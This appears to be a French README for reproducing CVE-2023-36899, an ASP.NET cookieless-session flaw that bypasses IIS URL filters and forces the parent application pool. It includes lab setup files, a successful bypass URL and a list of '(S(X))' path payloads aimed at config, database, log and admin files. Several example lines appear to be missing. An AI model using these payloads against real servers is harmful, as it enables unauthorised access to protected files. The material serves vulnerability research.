
Environnement de reproduction et outils pour la vulnérabilité CVE-2023-36899, ciblant le contournement de l'authentification de session sans cookie dans le framework ASP.NET.
Environnement et outils de reproduction de la vulnérabilité CVE-2023-36899, ciblant le contournement de l'authentification de session sans cookie dans le framework ASP.NET.
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
Dans le développement web moderne, bien que les cookies soient la méthode privilégiée pour transmettre l'ID de session, le .NET Framework propose également une alternative : encoder directement l'ID de session dans l'URL. Cette technique est appelée fonctionnalité « sans cookie » (cookieless) dans le .NET Framework. De nombreux développeurs et testeurs de sécurité négligent cette option car elle est rarement utilisée dans les applications réelles. Cependant, elle est devenue une mine d'or pour la découverte de vulnérabilités côté client, telles que la fixation de session, le détournement de session, l'injection HTML et le cross-site scripting. De plus, cette fonctionnalité peut être exploitée pour contourner les règles de pare-feu basées sur les chemins qui ne sont pas configurées pour reconnaître la méthode sans cookie. En raison de problèmes de sécurité inhérents, .NET Core et les versions ultérieures de .NET ont supprimé la fonctionnalité sans cookie. Mais nous ne devons pas oublier le grand nombre d'applications web qui utilisent encore le .NET Framework classique.
Points clés :
La fonctionnalité sans cookie du .NET Framework peut être abusée pour accéder à des répertoires protégés ou bloqués par les filtres d'URL d'IIS. Par exemple, considérons le cas suivant sur le site victim.com :
Normalement, l'accès à ces pages via ces URL est bloqué par IIS :
Cependant, il est possible d'exploiter la fonctionnalité sans cookie pour accéder à ces pages via les modèles suivants :
La façon dont IIS gère les pools d'applications peut conduire à une élévation de privilèges ou à un contournement de la sécurité. Il est possible de manipuler la fonctionnalité sans cookie du .NET Framework pour forcer une application IIS à s'exécuter avec le pool d'applications parent au lieu de son propre pool d'applications. Par exemple :
Un fichier C# nommé AppPoolPrint.aspx peut être accessible dans toutes les applications ci-dessus et affiche le nom du pool d'applications actuel. En utilisant deux fois la fonctionnalité sans cookie, nous pouvons exécuter cette page avec le pool d'applications parent :
Cela permet même aux pages situées dans /classic/nodotnet/ (qui ne devraient pas exécuter de code managé) d'exécuter des pages ASPX avec le pool d'applications parent. Ce comportement peut conduire à une élévation de privilèges sur IIS.
Lors de l'installation d'IIS, sélectionnez :
Contenu de test du fichier target.aspx :
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
Contenu de test du fichier web.config à la racine :
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Ici, signifie que le site utilise des cookies pour stocker certaines informations de session par défaut, etc. C'est d'ailleurs la valeur par défaut.

Accès réussi en utilisant http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx

Liste de payloads potentiels :
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899